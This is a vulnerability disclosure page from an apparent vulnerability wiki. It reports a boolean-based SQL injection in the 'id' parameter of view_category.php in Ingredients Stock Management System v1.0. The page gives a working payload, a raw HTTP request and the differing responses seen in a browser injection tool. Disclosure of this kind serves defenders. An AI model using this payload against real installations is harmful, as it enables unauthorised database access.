

master ▾

...

[vul-wiki](#) / [vendors](#) / [oretnom23](#) / [ingredients-stock-management-system](#) / [SQLi-10.md](#)

debug601 Create SQLi-10.md

[History](#)[1 contributor](#)

30 lines (21 sloc) | 1.2 KB

...

Ingredients Stock Management System v1.0 by oretnom23 has SQL injection

vendors: <https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html>

Vulnerability File: /isms/admin/categories/view_category.php

Vulnerability location: /isms/admin/categories/view_category.php, id

db_name = isms_db;length=7

[+] Payload: /isms/admin/categories/view_category.php?

id=3%27%20and%20length(database())%20=7--+ // Leak place ---> id

```
GET /isms/admin/categories/view_category.php?id=3%27%20and%20length(database())%20=7
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=2m880botn1u43hd2gu23ttj4ug
Connection: close
```

When length (database ()) = 7

INT SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML

Load URL

Split URL

Execute

☐ Post data ☐ Referrer 0xHEX %URL BASE64 Insert string to

Name

Dairy Products

Description

Aliquam in sollicitudin eros. Fusce tortor massa, pulvinar ac nunc non, maximus elementum nunc.

Status

Active

Close

When length (database ()) = 6

INT SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRYPTION OTHER XSS

Load URL

Split URL

Execute

☐ Post data ☐ Referrer 0xHEX %URL BASE64 Insert string to replace Insert replacing string

category ID is not valid.

确定